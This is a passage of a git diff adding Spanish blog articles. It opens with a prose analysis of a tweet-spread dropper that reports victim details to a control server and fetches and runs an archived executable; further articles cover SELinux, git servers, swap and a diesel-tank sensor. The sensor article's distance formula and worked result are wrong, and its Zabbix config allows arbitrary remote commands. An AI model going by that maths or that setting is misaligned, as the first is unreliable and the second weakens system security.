dirección IP pública mediante una llamada a api.ipify.org, obtiene el nombre de usuario (<emb>$env:USERNAME</emb>) y la fecha y hora, contruye un mensaje con <emb>$btag</emb> y la información anterior y, finalmente, envía esta información como JSON a la URL del servidor de control mediante POST.</p> +<p>A continuación define el directorio <emb>%APPDATA%\NVIDIA\UpdateService</emb> y genera un nombre aleatorio para una subcarpeta, descarga el zip <emb>run47.zip</emb> de Azure usando e un HttpClient o WebClient, dependiendo de la versión de .NET que tenga la víctima y lo extrae en el directorio definido. No estoy entrando en cada bucle ni control de errores, ya que lo creo irrelevante para la entrada.</p> +<p>Una vez extraídos, ejecuta <emb>7zr.exe</emb> para extraer el <emb>7z</emb> contenido en los archivos extraídos del zip; usando además la contraseña declarada en las variables. Después invoca un ejecutable (<emb>.exe</emb>).</p> +<p>Conocer el propósito del ejecutable es más difícil, habría que ejecutar técnicas de ingeniería inversa para averiguar qué hace, pero podría hacer cualquier cosa: ransomware, troyano, software espía, minero de criptomonedas... Quizá si tenga tiempo me aventiure a montar una máquina virtual aislada con Windows para ejecutarlo y ver qué hace. O analizar el exe a ver si podemos averiguar parte del código y poder deducirlo.</p> +<p>Desde luego, nunca dejará de sorprenderme la capacidad y el ingenio humano para el transmitir elementos maliciosos, y como decía, lo peor es que todo este procedimiento de scripting es únicamente para descargar y ejecutar el malware. Es decir, ni si quiera hemos tocado la superficie del malware, sólo su método de infección y propagación.</p> +<p>El tweet ya ha sido eliminado, pero de su eliminación he podido ver que tenía casi 100.000 visualizaciones, es decir, 100.000 de potenciales víctimas; y sólo ha estado publicado 2 horas por una cuenta de unos 50 seguidores. Imagínense las campañas que cuenten con más recursos.</p> +</body> +</html> +\ No newline at end of file diff --git a/selinux/index.html b/selinux/index.html @@ -0,0 +1,57 @@ +<!DOCTYPE html> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<meta name="viewport" content="width=device-width, initial-scale=1" /> +<title>Mi primer SELinux denial</title> +<link rel="icon" type="image/png" href="/favicon.png" /> +<link rel="stylesheet" type="text/css" href="../article.css" /> +</head> +<body> +<header> +<p class="title">Mi primer SELinux denial</p> +<p class="date">15 de mayo de 2025 • fjbalon</p> +</header> +<p>Os pongo en contexto. Un Rocky 9.5 (derivado de RHEL, para quien no lo conozca) que he empezado a administrar, sirve un servidor Apache (httpd). He importado una configuración propia en forma de fichero <emb>httpd.conf</emb> y lo he situado en <emb>/etc/httpd/conf/</emb>, configuración típica. He mantenido la copia original y la copia mía en el mismo fichero y he configurado los permisos y propietarios exactamente igual:</p> +<pre><code>[dbac32ab conf]# cd /etc/httpd/conf/ +[dbac32ab conf]# mv httpd.conf httpd.conf.bk +[dbac32ab conf]# cp /tmp/httpd.conf httpd.conf +[dbac32ab conf]# ls -l +total 32 +-rw-r--r--. 1 root root 1516 May 15 09:20 httpd.conf +-rw-r--r--. 1 root root 12005 Jan 22 00:22 httpd.conf.bk +-rw-r--r--. 1 root root 13430 Jan 22 00:24 magic</code></pre> +<p>Sin embargo, al hacer el cambio y realizar un reinicio del servicio, me ha fallado.</p> +<pre><code>[dbac32ab conf]# service httpd restart +Redirecting to /bin/systemctl restart httpd.service +Job for httpd.service failed because the control process exited with error code. +See "systemctl status httpd.service" and "journalctl -xeu httpd.service" for details. + +[dbac32ab conf]# service httpd status +Redirecting to /bin/systemctl status httpd.service +× httpd.service - The Apache HTTP Server + Loaded: loaded (/usr/lib/systemd/system/httpd.service; disabled; preset: disabled) + Active: failed (Result: exit-code) since Thu 2025-05-15 09:29:38 UTC; 10s ago + Duration: 6min 47.750s + Docs: man:httpd.service(8) + Process: 30756 ExecStart=/usr/sbin/httpd $OPTIONS -DFOREGROUND (code=exited, status=1/FAILURE) + Main PID: 30756 (code=exited, status=1/FAILURE) + CPU: 30msMay 15 09:29:37 dbac32ab systemd[1]: Starting The Apache HTTP Server... +May 15 09:29:37 dbac32ab httpd[30756]: httpd: Could not open configuration file /etc/httpd/conf/httpd.conf: Permission denied +May 15 09:29:38 dbac32ab systemd[1]: httpd.service: Main process exited, code=exited, status=1/FAILURE +May 15 09:29:38 dbac32ab systemd[1]: httpd.service: Failed with result 'exit-code'. +May 15 09:29:38 dbac32ab systemd[1]: Failed to start The Apache HTTP Server.</code></pre> +<p>Para mi sorpresa, indicando fallo de permisos para acceder al fichero. Como he comentado, los permisos y propietarios son exactamente iguales. He revertido los cambios y ha funcionado. Por lo que investigando un poco qué puede estar pasando, he comprobado que esta máquina tiene SELinux activado, y al parecer, aplica una capa más para control de acceso.</p> +<p>Con <emb>ls -Z</emb> se puede comprobar el contexto que SELinux aplica a cada archivo.</p> +<pre><code>[dbac32ab conf]# ls -Z /etc/httpd/conf/httpd.conf +unconfined_u:object_r:user_home_t:s0 /etc/httpd/conf/httpd.conf +[dbac32ab conf]# ls -Z /etc/httpd/conf/httpd.conf.bk +system_u:object_r:httpd_config_t:s0 /etc/httpd/conf/httpd.conf.bk</code></pre> +<p>El contexto es diferente para cada archivo, por lo que he usado <emb>chcon</emb> para copiar el contexto del original al nuevo archivo. Después he reiniciado el servicio y ha funcionado sin problemas:</p> +<pre><code>[dbac32ab conf]# chcon --reference=/etc/httpd/conf/httpd.conf.bk /etc/httpd/conf/httpd.conf +[dbac32ab conf]# service httpd restart +Redirecting to /bin/systemctl restart httpd.service</code></pre> +<p>Es una capa extra que no había tenido en cuenta, debido a que no tengo demasiada experiencia en SELinux. Sé que hay polémicas con su adopción, similar a systemd, no sólo por añadir una capa de complejidad extra y lo que de ello deriva, sino por su desarrollo liderado por la NSA.</p> +<p>Parece que a esto se llama <b>SELinux denial</b>, y no ha sido ni el primero, ni parece que sea el último...</p> +</body> +</html> +\ No newline at end of file diff --git a/servidor-git-stagit/index.html b/servidor-git-stagit/index.html @@ -0,0 +1,131 @@ +<!DOCTYPE html> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<meta name="viewport" content="width=device-width, initial-scale=1" /> +<title>Externalización gráfica de servidor Git propio con stagit</title> +<link rel="icon" type="image/png" href="/favicon.png" /> +<link rel="stylesheet" type="text/css" href="../article.css" /> +</head> +<body> +<header> +<p class="title">Externalización gráfica de servidor Git propio con stagit</p> +<p class="date">23 de noviembre de 2020 • fjbalon</p> +</header> +<p>A veces es agradable navegar por el registro del historial de git en un navegador web o en algún otro programa sin tener que mirar el repositorio local. Es además una forma de mantener un registro de los repositorios que sean públicos, a modo de currículum o expositor de código. Si además se cumple el requisito personal de cumplir con una regla o una filosofía minimalista, de web estática en este caso y libre, aún mejor.</p> +<p>Para ello uso el impecable <a href="https://codemadness.org/git/stagit">stagit</a>, que es un generador de pagínas estáticas para git desarrollado por <a href="https://codemadness.org">codemadness.org</a>. Su uso es simple. Manualmente consta de dos partes, que son la creación de directorios html (que deben ser accesibles mediante servidor web) y su enlace con el directorio del servidor git:</p> +<pre><code>mkdir -p /srv/git/htmlrepo1 && cd /srv/git/htmlrepo1 +stagit /git/gitrepo1</code></pre> +<p>Y la formación del índice y el htmlroot:</p> +<pre><code>cd /srv/git +stagit-index /git/gitrepo1 /git/gitrepo2 /git/gitrepo3 > index.html</code></pre> +<p>Ejemplos de resultados son:</p> +<ul> +<li><a href="https://templier.es/git/">templier.es/git</a></li> +<li><a href="https://codemadness.org/git/">codemadness.org/git</a></li> +<li><a href="https://git.suckless.org/">git.suckless.org</a></li> +</ul> +<h2>Automatización de actualización de repositorios</h2> +<p>Para automatizar la actualización del directorio en función de los cambios de push añadimos a htmlroot (<emb>/srv/git</emb>) el script:</p> +<pre><code># /srv/git/create.sh +reposdir="/git" +curdir="$(pwd)" + +stagit-index "${reposdir}/"*/ > "${curdir}/index.html" + +for dir in "${reposdir}/"*/; do + # strip .git suffix. + r=$(basename "${dir}") + d=$(basename "${dir}" ".git") + printf "%s... " "${d}" + + mkdir -p "${curdir}/${d}" + cd "${curdir}/${d}" || continue + stagit -c ".cache" -u "/git/$d/" "${reposdir}/${r}" + + # symlinks + ln -sf log.html index.html + ln -sf ../style.css style.css + ln -sf ../logo.png logo.png + ln -sf ../favicon.png favicon.png + + echo "done" +done</code></pre> +<p>Por supuesto, el script anterior debe contar con permisos de ejecución; y el directorio htmlroot debe tener permisos adecuados para su manipulación, que siendo en este caso el usuario git el que genere de nuevo los HTML, debería éste tener permisos totales.</p> +<p>Además, por cada repositorio del servidor debemos añadir el hook post-receive tal que:</p> +<pre><code>#!/bin/sh +# /git/code.git/hooks/post-receive + +export LC_CTYPE="en_US.UTF-8" + +name="$1" +if test "${name}" = ""; then + name=$(basename "$(pwd)") +fi + +reposdir="/git" +dir="${reposdir}/${name}" +htmldir="/srv/git" +stagitdir="/" +destdir="${htmldir}${stagitdir}" +cachefile=".htmlcache" + +if ! test -d "${dir}"; then + echo "${dir} does not exist" >&2 + exit 1 +fi +cd "${dir}" || exit 1 + +force=0 +while read -r old new ref; do + test "${old}" = "0000000000000000000000000000000000000000" && continue + test "${new}" = "0000000000000000000000000000000000000000" && continue + + hasrevs=$(git rev-list "${old}" "^${new}" | sed 1q) + if test -n "${hasrevs}"; then + force=1 + break + fi +done + +r=$(basename "${name}") +d=$(basename "${name}" ".git") +printf "[%s] stagit HTML pages... " "${d}" + +mkdir -p "${destdir}/${d}" +cd "${destdir}/${d}" || exit 1 + +if test "${force}" = "1"; then + rm -f "${cachefile}" + rm -rf "commit" +fi + +stagit-index "${reposdir}/"*/ > "${destdir}/index.html" +stagit -c "${cachefile}" -u "/git/$d/" "${reposdir}/${r}" + +ln -sf log.html index.html +ln -sf ../style.css style.css +ln -sf ../logo.png logo.png + +echo "done"</code></pre> +<p>También debe contar con privilegios de ejecución. Lo que hará que en cada push recibido, el contenido HTML de stagit se actualice.</p> +<p>Para una correcta impresión de los datos, es necesario que cada directorio de repositorio tenga en su raíz los ficheros owner, description y url:</p> +<pre><code>cd /git/code +echo "fjbalon" > owner +echo "Descripción del repositorio" > description +echo "git://templier.es/code.git" > url</code></pre> +<p>Las imágenes por defecto empleadas son favicon.png y logo.png, que irán en la raíz de htmlroot (/srv/git). También style.css.</p> +<pre><code>cp stagit/style.css /srv/git/ +cp stagit/favicon.png /srv/git/ +cp stagit/logo.png /srv/git/</code></pre> +<h2>Autodespliegue con hooks</h2> +<p>En este ejemplo damos al hook post-receive del repositorio del sitio web la capacidad de autodesplegarse al recibir push, con el ejemplo de esta propia web estática para que, con mi propio push autenticado por SSH, automáticamente se lance como actualización al servidor Apache.</p> +<pre><code>#!/bin/sh +# /git/arrakis.git/hooks/post-receive + +echo "Ejecutando hook postreicive: desplegando a producción el static-site" +git --work-tree=/srv/http --git-dir=/tex/arrakis.git checkout -f master</code></pre> +<p>Por supuesto, los permisos del directorio htmlroot deben tener los permisos para git.</p> +<pre><code>drwxr-xr-x 3 git git 4096 Dec 14 15:53 http</code></pre> +</body> +</html> +\ No newline at end of file diff --git a/servidor-git/index.html b/servidor-git/index.html @@ -0,0 +1,61 @@ +<!DOCTYPE html> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<meta name="viewport" content="width=device-width, initial-scale=1" /> +<title>Construcción de mi propio servidor Git</title> +<link rel="icon" type="image/png" href="/favicon.png" /> +<link rel="stylesheet" type="text/css" href="../article.css" /> +</head> +<body> +<header> +<p class="title">Construcción de mi propio servidor Git</p> +<p class="date">22 de noviembre de 2020 • fjbalon</p> +</header> +<p>Aquí todos conocemos el software o protocolo desarrollado en inicio por Linus Torvalds: Git. Un sistema de control de versiones, que se constituye como una herramienta indispensable, a día de hoy, para cualquier programador; especialmente en el software libre. Git funciona como cliente o como servidor, y cada cliente aloja en local una copia del software que sincronizará con el servidor en función de lo que el cliente convenga. Los despliegues de Git más conocidos son Github o Gitlab, donde éstos te ofrecen una interfaz gráfica pulida y almacenamiento de servidor para todos los proyectos que se deseen incluir. Por ello, la duda razonable que debe asaltar al lector sería: ¿por qué querría crear mi propio servidor de Git?</p> +<p>Veamos, una buena razón para alojar tus propios repositorios Git es tener y mantener el control sobre tu propia infraestructura informática, tanto a nivel de sistema como a nivel de código, guardando incluso el secreto de aquellos códigos que quieras mantener sin publicar (y que de otra forma lo estarías cediendo al ordenador de otro, confiando ciegamente en que verdaderamente se encuentre oculto). Considero que los servidores de Git comúnmente utilizados como Github, Gitlab, Bitbucket… No son de fiar, en cuanto son propietarios desconocidos y sostenedores de tu código. No es secreto que estos servicios analizan el código, aplican telemetría e inteligencia sobre ellos, analizan las conexiones de sus usuarios y aplican restricciones y limitaciones. Al fin y al cabo son empresas con fines comerciales, y a menudo con fines ocultos. En el caso de Microsoft, como propietario de Github es mucho más lamentable y peligrosa la situación.</p> +<p>En cuanto a economía doméstica, estos servicios también tienen diferentes planes de precios y varias restricciones (arbitrarias en muchos casos). Sin embargo cuando usted mismo lo aloja, las restricciones son los límites de recursos del sistema y su conexión, por lo tanto, es una solución mucho más flexible, adaptada y convergente con el usuario.</p> +<h2>¿Cómo creo mi propio servidor de Git?</h2> +<p>Bien, entremos en el barro técnico.</p> +<p>Lo primero que debemos hacer es tener Git instalado. Debido a la gran cantidad de distribuciones y formas variopintas de realizar la instalación, voy a obviarla. No es dificil instalar Git y se encuentra disponible, que yo sepa, en todos los repositorios oficiales de todas las distros.</p> +<p>También voy a obviar el uso general de Git. No es objetivo de esta entrada explicar cómo realizar cambios en el software, realizar commits, status, push y pull, revisar el histórico de cambios, etcétera. Si me animo podría escribir un post a parte a modo de curso, del uso de Git a nivel de cliente. Pero en este caso me centro en el servidor.</p> +<p>Para ello, el primer paso sería crear el usuario git (a nivel de sistema operativo), encargado de gestionar todos los procesos referentes a los repositorios y al servidor. Además, con el objetivo de dotar acceso mediante SSH añadimos authorized_keys y añadimos al fichero las claves públicas de los clientes.</p> +<pre><code>adduser git +su git +cd +mkdir .ssh && chmod 700 .ssh +touch .ssh/authorized_keys +chmod 600 .ssh/authorized_keys</code></pre> +<p>Los repositorios pueden estar en el directorio que se quiera. En este caso, se encontrarán en el directorio git en la raíz del sistema. Para lo que tendremos que crearlo. Por cada repositorio, se crea un directorio (aconsejable es que terminen con .git). Para iniciar un repositorio como server usamos el parámetro <emb>init --bare.</emb></p> +<pre><code>mkdir /git +cd /git +mkdir code.git +chown git:git code.git +cd code.git +git init --bare +Initialized empty Git repository in /git/code.git/</code></pre> +<h2>Publicación de repositorios</h2> +<p>Quien haya sido un poco sagaz, se habrá dado cuenta que de esta forma el único que puede acceder a dichos repositorios es aquel que conozca la contraseña del usuario git, o bien que su clave pública esté alojada en el servidor para que sea reconocido. Es decir, sólo podría acceder al repositorio el que conozca personalmente al propietario del servidor.</p> +<p>Por ello tenemos la opción de publicar el repositorio, de forma que pueda ser clonado por todos (al igual que en Github y similares).</p> +<p>Para ello empleamos <emb>git-daemon</emb>, indicándole el directorio donde se encuentran los repositorios.</p> +<pre><code>git daemon --reuseaddr --base-path=/git/ /git/</code></pre> +<p>Esto no basta para publicar el repositorio, ya que el demonio de git iterará en el directorio anteriormente pasado en busca de repositorios exportables, éstos son aquellos que tengan el fichero <emb>git-daemon-export-ok</emb> en su raíz.</p> +<pre><code>touch /git/code.git/git-daemon-export-ok</code></pre> +<p>De esta forma, cualquier cliente podría clonar el repositorio usando la siguiente dirección:</p> +<pre><code>git clone git://templier.es/code.git</code></pre> +<h2>En el lado del cliente</h2> +<p>De esta simple forma, cualquier equipo que tenga acceso al servidor podría, a través de Git y SSH, clonar repositorios. En el lado del cliente, configuraríamos nuestros parámetros (globales, si no sabes lo que haces):</p> +<pre><code>git config --global user.name "fjbalon" +git config --global user.email fjbalon@templier.es +git config --global core.editor vim</code></pre> +<p>O directamente modificando el fichero <emb>~/.gitconfig</emb>:</p> +<pre><code>[user] +email = fjbalon@templier.es +name = fjbalon +[core] +editor = vim</code></pre> +<p>La descarga mediante SSH y mediante repositorio público se hará de tal forma:</p> +<pre><code>git clone git@templier.es:/git/code.git +git clone git://templier.es/code.git</code></pre> +</body> +</html> +\ No newline at end of file diff --git a/swap/index.html b/swap/index.html @@ -12,10 +12,8 @@ <p class="title">Sobre la necesidad de la memoria Swap</p> <p class="date">27 de febrero de 2020 • fjbalon</p> </header> - - <p>El caso que hoy me ocupa, nace de la necesidad de apagar la memoria de intercambio (o swap) en mi equipo portátil para poder gestionar varias pruebas sobre clústers de kubernetes. Algo curioso, pues ningún programa me había obligado nunca a apagar la swap para funcionar (ya sé que puedo configurar kubernetes para evitar esta obligación, pero no se trata de un artículo sobre cómo evadir esta opción, sino de la memoria swap en sí). A raíz de este hecho, han avivado en mi memoria las viejas discusiones sobre la necesidad, o no, de la memoria de intercambio.</p> - - <p>Allá por el 2008, <a href="https://etbe.coker.com.au/2007/09/28/swap-space">Russell Coker discutía</a> sobre el uso de memoria swap que se daba en sistemas Unix, asegurando que la 'tradición' de utilizar el doble de swap que de RAM era obsoleto con las memorias de entonces (imagínese las actuales), llegando a la conclusión de que el tamaño más adecuado es el mismo que el tamaño de la memoria RAM siempre que ésta sea inferior a 1GB; la mitad del tamaño de la RAM cuando ésta tenga un tamaño de entre 2GB y 4GB; y 2GB de swap cuando el tamaño de la RAM sea mayor de 4GB. Coker además dudaría que exista ningún sistema de almacenamiento masivo que pueda manejar la carga de más de 2GB de espacio de intercambio en uso activo.</p> +<p>El caso que hoy me ocupa, nace de la necesidad de apagar la memoria de intercambio (o swap) en mi equipo portátil para poder gestionar varias pruebas sobre clústers de kubernetes. Algo curioso, pues ningún programa me había obligado nunca a apagar la swap para funcionar (ya sé que puedo configurar kubernetes para evitar esta obligación, pero no se trata de un artículo sobre cómo evadir esta opción, sino de la memoria swap en sí). A raíz de este hecho, han avivado en mi memoria las viejas discusiones sobre la necesidad, o no, de la memoria de intercambio.</p> +<p>Allá por el 2008, <a href="https://etbe.coker.com.au/2007/09/28/swap-space">Russell Coker discutía</a> sobre el uso de memoria swap que se daba en sistemas Unix, asegurando que la 'tradición' de utilizar el doble de swap que de RAM era obsoleto con las memorias de entonces (imagínese las actuales), llegando a la conclusión de que el tamaño más adecuado es el mismo que el tamaño de la memoria RAM siempre que ésta sea inferior a 1GB; la mitad del tamaño de la RAM cuando ésta tenga un tamaño de entre 2GB y 4GB; y 2GB de swap cuando el tamaño de la RAM sea mayor de 4GB. Coker además dudaría que exista ningún sistema de almacenamiento masivo que pueda manejar la carga de más de 2GB de espacio de intercambio en uso activo.</p> <p>¿Es necesaria la swap? La pregunta nace debido a que, por otro lado, hay quien defiende que hoy en día, con módulos de memoria baratos y de tal almacenamiento (tenga en cuenta que en mi equipo portátil tengo un almacenamiento de 32GB RAM), y debido al hecho de que el propio uso de memoria de intercambio supone una caída importante de rendimiento, la swap estaría obsoleta. También influye la idea de que, debe ser preferible tener suficiente RAM para evitar que llegue a sobrecargarse nunca y a necesitar espacio adicional, quedando éste relegado para máquinas con poca RAM o equipos antiguos.</p> <p>Al respecto, <a href="https://web.archive.org/web/20081022092522/http://sourcefrog.net/weblog/software/linux-kernel/swap.html">Martin Pool aseveraba en 2004</a>, que cuando el sistema empieza a quedarse sin memoria, el núcleo escogerá qué páginas pasan al disco, siendo normalmente las que se usan con menor frecuencia. Si una página escogida es 'no anónima' <sup>1</sup> siempre existe un archivo que sirve de respaldo al contenido de la página, por lo que puede ser recuperada fácilmente en el caso de que volvamos a necesitarla. Pero las páginas anónimas carecen de dicho respaldo, por lo que solo pueden ser salvadas y copiadas en la swap. Sin embargo, si no tenemos suficiente memoria, el memoria no podrá escoger páginas 'no anónimas' para liberarla, obligando al sistema a ganar memoria a costa de páginas 'no anónimas', aunque éstas estén siendo utilizadas en mayor medida que las anónimas, afectando al rendimiento del sistema. «Disk is cheap, so allocate a gigabyte or two for swap».</p> <p>Evidentemente, es necesario tener en cuenta, a parte del rendimiento, la seguridad. Existen circunstancias imprevisibles que pueden suceder, como que una acción requiera mucho más espacio del esperado, que un programa se vuelva loco (algo muy común si programamos), etc.</p> @@ -24,7 +22,6 @@ <p>Estas recomendaciones son correctas, especialmente para servidores y sistemas eficientes. Sin embargo, tenemos que tener en cuenta que para sistemas de escritorio (y más aún en equipos portátiles), mantener un espacio de intercambio superior al tamaño de la RAM es elemental para la hibernación <sup>2</sup>. En este caso, conviene tener una swap lo suficientemente grande como para mantener el uso normal de intercambio. En ese caso, deberemos aplicar alguna de las reglas anteriores y sumarle el tamaño de la RAM.</p> <p>Personalmente, tanto las memorias de Coker como de RedHat me resultan algo 'cortas' cuando se trata de equipos con elevada RAM, algo realmente aplicable a prácticamente cualquier servidor o equipo de escritorio actual (no entramos en sistemas embebidos, cuya RAM es más limitada). La memoria de Canonical me parece la más generalizable y aplicable en el amplio espectro de posibilidades, y es, desde hace un par de años, la metodología que vengo aplicando en sustitución a la memoria de Coker, que usaba antes.</p> <p>Así, y a modo de chuleta, quedaría así mi metodología empleada:</p> - <pre><code><b>RAM Swap Swap+Hib</b> <b>RAM Swap Swap+Hib</b> <b>RAM Swap Swap+Hib</b> 256MB 256MB 512MB 6GB 2GB 8GB 32GB 6GB 38GB 512MB 512MB 1GB 8GB 3GB 11GB 64GB 8GB 72GB diff --git a/tanque-gasoil/index.html b/tanque-gasoil/index.html @@ -0,0 +1,219 @@ +<!DOCTYPE html> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<meta name="viewport" content="width=device-width, initial-scale=1" /> +<title>Monitorización de capacidad de tanque de gasoil mediante sensor de ultrasonido</title> +<link rel="icon" type="image/png" href="/favicon.png" /> +<link rel="stylesheet" type="text/css" href="../article.css" /> +</head> +<body> +<header> +<p class="title">Monitorización de capacidad de tanque de gasoil mediante sensor de ultrasonido</p> +<p class="date">21 de junio de 2022 • fjbalon</p> +</header> +<p>Este proyecto consiste en desarrollar un método para monitorizar la capacidad utilizada en un tanque de gasoil, que nutre una caldera. Existen diversas técnicas para lograrlo, pero la que considero más sencilla y más técnica es hacerlo a través de un sensor ultrasónico. Este sensor enviará los datos digitalizados a una Raspberry Pi 3B, que los procesará y almacenará, de tal forma que permita mantener un registro de monitorización y estadísticas de tiempo.</p> +<p>Mi idea es poder tener la información accesible desde el PC u otros equipos informáticos, con el objetivo de poder predecir cuándo será necesario rellenar el tanque de nuevo, antes de que se gaste el gasoil, y poder observar la tasa de uso de gasoil en el tiempo, con tal de poder aplicar inteligencia. Por ejemplo, cotejar y relacionar el gasto de inverno con respecto verano; las horas y duración de las duchas, el gasto de calefacción, etcétera.</p> +<h2>Funcionamiento del sensor</h2> +<p>¿Cómo funciona el sensor de ultrasonido y cómo calculamos la distancia?. El funcionamiento es simple. El sensor crea un pulso de disparo en TRIG (trigger), enviando pulsos de 40kHz (manteniendo el estado de TRIG en HIGH durante un mínimo de 10µs). Inmediatamente, el circuito de control en el sensor cambiará el estado del pin de ECHO a HIGH, y manteniéndose así hasta que el pulso ultrasónico rebote con un objeto y regresa al receptor. En función del tiempo durante el cual el pin de ECHO permanece HIGH, esperando recibir de vuelta el pulso enviado, podemos calcular la distancia entre sensor y objeto. El emisor de pulsos es T, y el receptor es R.</p> +<p>Por poner un ejemplo, si calculamos el tiempo para el cual el ECHO es HIGHT como 588µs, y tomando que la velocidad del sonido en la atmósfera terrestre es de 343,2m/s:</p> +<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="D=\frac{\upsilon}{(t/2)}=\frac{343,2}{(588\mu/2)}=5656565656" display="block"> +<mrow> + <mi>D</mi> + <mo>=</mo> + <mfrac> + <mi>υ</mi> + <mrow> + <mo stretchy="false">(</mo> + <mrow> + <mi>t</mi> + <mo>/</mo> + <mn>2</mn> + </mrow> + <mo stretchy="false">)</mo> + </mrow> + </mfrac> + <mo>=</mo> + <mfrac> + <mrow> + <mn>343,2</mn> + <mi>m/s</mi> + </mrow> + <mrow> + <mo stretchy="false">(</mo> + <mrow> + <mrow> + <mn>588</mn> + <mo>⁢</mo> + <mi>μs</mi> + </mrow> + <mo>/</mo> + <mn>2</mn> + </mrow> + <mo stretchy="false">)</mo> + </mrow> + </mfrac> + <mo>=</mo> + <mn>1,17cm</mn> +</mrow> +</math> +<h2>Conexiones electrónicas</h2> +<p>Conectamos el pin TRIG del sensor ultrasónico al pin físico 16, es decir, el pin GPIO23 de la raspy. Usamos posteriormente una combinación de resistencia de 1kΩ y 2kΩ para convertir el pin de ECHO a 3.3V (aproximadamente) y conéctelo al pin físico 18 (GPIO24). Finalmente proporcionamos las conexiones de +5V y GND. El esquema de comunicaciones electrónicas quedaría tal que:</p> +<img class="color-invertible" style="width:50%" src="resources/ultrasonido01.png"/> +<h2>Cálculo de distancia contra objeto</h2> +<p>Una vez sabemos cómo calcular la distancia y tenemos conectado el sensor a nuestra CPU, el siguiente paso consiste en probar las ecuaciones anteriores bajo un código (usaremos Python), que muestre por stdout cada segundo la distancia medida. El código será:</p> +<pre><code>import RPi.GPIO as GPIO +import time + +GPIO.setmode(GPIO.BCM) +GPIO_TRIGGER = 23 +GPIO_ECHO = 24 +GPIO.setup(GPIO_TRIGGER, GPIO.OUT) +GPIO.setup(GPIO_ECHO, GPIO.IN) + +GPIO.output(GPIO_TRIGGER, True) +time.sleep(0.00001) +GPIO.output(GPIO_TRIGGER, False) + +StartTime = time.time() +StopTime = time.time() + +while GPIO.input(GPIO_ECHO) == 0: + StartTime = time.time() + +while GPIO.input(GPIO_ECHO) == 1: + StopTime = time.time() + +TimeElapsed = StopTime - StartTime +distance = (TimeElapsed * 34320) / 2 + +print ("Distance = %.1f cm" % distance)</code></pre> +<p>Obteniendo unos resultados positivos como:</p> +<pre><code>$ ./distance.py +Distance = 85.8 cm</code></pre> +<h2>Cálculo de subcuboide</h2> +<p>Dado un cuboide de 112x100x71, que corresponde a las medidas aproximadas del tanque de gasoil:</p> +<img class="color-invertible" style="width:25%" src="resources/cuboide.png"/> +<p>Y recibido el valor de distancia entre sensor y gasoil, es sencillo calcular las medidas del subcuboide resultante. Por ejemplo, dada una distancia de 85cm:</p> +<img class="color-invertible" style="width:50%" src="resources/subcuboide.png"/> +<p>Obtendríamos un subcuboide de 15x112x71 que corresponde a +<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="x*(y-d)*z=112*(100-85)*71=119280cm^{3}=119L"> +<mrow> + <mrow> + <mi>x</mi> + <mo>*</mo> + <mrow> + <mo stretchy="false">(</mo> + <mrow> + <mi>y</mi> + <mo>-</mo> + <mi>d</mi> + </mrow> + <mo stretchy="false">)</mo> + </mrow> + <mo>*</mo> + <mi>z</mi> + </mrow> + <mo>=</mo> + <mrow> + <mn>112</mn> + <mo>*</mo> + <mrow> + <mo stretchy="false">(</mo> + <mrow> + <mn>100</mn> + <mo>-</mo> + <mn>85</mn> + </mrow> + <mo stretchy="false">)</mo> + </mrow> + <mo>*</mo> + <mn>71</mn> + </mrow> + <mo>=</mo> + <mrow> + <mn>119280</mn> + <mo></mo> + <mi>c</mi> + <mo></mo> + <msup> + <mi>m</mi> + <mn>3</mn> + </msup> + </mrow> + <mo>=</mo> + <mrow> + <mn>119</mn> + <mo></mo> + <mi>L</mi> + </mrow> +</mrow> +</math> +de un total de +<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="112*100*71=795200cm^{3}=795L"> +<mrow> + <mrow> + <mn>112</mn> + <mo>*</mo> + <mn>100</mn> + <mo>*</mo> + <mn>71</mn> + </mrow> + <mo>=</mo> + <mrow> + <mn>795200</mn> + <mo></mo> + <mi>c</mi> + <mo></mo> + <msup> + <mi>m</mi> + <mn>3</mn> + </msup> + </mrow> + <mo>=</mo> + <mrow> + <mn>795</mn> + <mo></mo> + <mi>L</mi> + </mrow> +</mrow> +</math> +<p>, un 14% de capacidad.</p> +<p>Una vez obtenidos los datos, adaptamos el script de forma simple stdin/stdout (para monitorización) de forma que devuelva un float con los litros restantes según los parámetros de entrada:</p> +<pre><code>ancho=112 # Coordinate axis x: ancho / width +alto=100 # Coordinate axis y: alto / height +profundidad=71 # Coordenate axis z: profundidad / depth + +def volumenCuboide(x,y,z): + return x * y * z + +def subcuboide(x,y,z,d): + s = y - d + return volumenCuboide(x,s,z) + +l = subcuboide(ancho,alto,profundidad,distance)/1000 # Divsion by 100 for cm^3 to liters +print ("%.1f" % l)</code></pre> +<p>Así:</p> +<pre><code>$ ./gasoil40kHz.py +119.4</code></pre> +<h2>Instalación en tanque</h2> +<p>Con todo ideado y probado, aquí os muestro unas fotografías reales de cómo conseguí dejarlo más o menos estable, de la forma más perpendicular posible al eje x del tanque.</p> +<p>Me valgo de uno de los tapones del tanque para colocar, usando adhesivos, y de la forma más perpendicular posible al eje x del tanque, el sensor de ultrasonido. Aprovecho que los cable son finos para pasarlos por el aislante de la propia prensa del tapón, quedando el resto del circuito fuera.</p> +<img style="width:100%" src="resources/tanque-gasoil.png"/> +<p>Una vez instalado, para realizar la obtención de datos gráficos configuramos la máquina receptora de los datos del sensor en un agente de <a href="https://zabbix.com">Zabbix</a>. Añadimos un UserParameter que contenga la llamada al script, de forma que obtengamos los valores directamente desde el servidor de Zabbix.</p> +<pre><code># /etc/zabbix/zabbix_agentd.conf +PidFile=/var/run/zabbix/zabbix_agentd.pid +LogFile=/var/log/zabbix/zabbix_agentd.log +LogFileSize=0 +AllowKey=system.run[*] +Server=172.16.0.1 +ServerActive=172.16.0.1 +Hostname=gasoil40kHz +Include=/etc/zabbix/zabbix_agentd.d/*.conf +UserParameter=Gasoil,/home/pi/gasoil.py</code></pre> +<p>Con esto y en monitorización a través de Zabbix de estos valores, podemos configurar y dibujar gráficas.</p> +<img class="color-invertible" style="width:100%" src="resources/graph.png"/> +<p>Como se ve en la gráfica, el procedimiento requiere de pulido. Hay un cierto baile de datos en cuanto a las lecturas, por eso he empleado una gráfica de puntos para notar las variaciones de lectura, que pueden deberse a gases propios del fluido monitorizado; o a movimientos de la 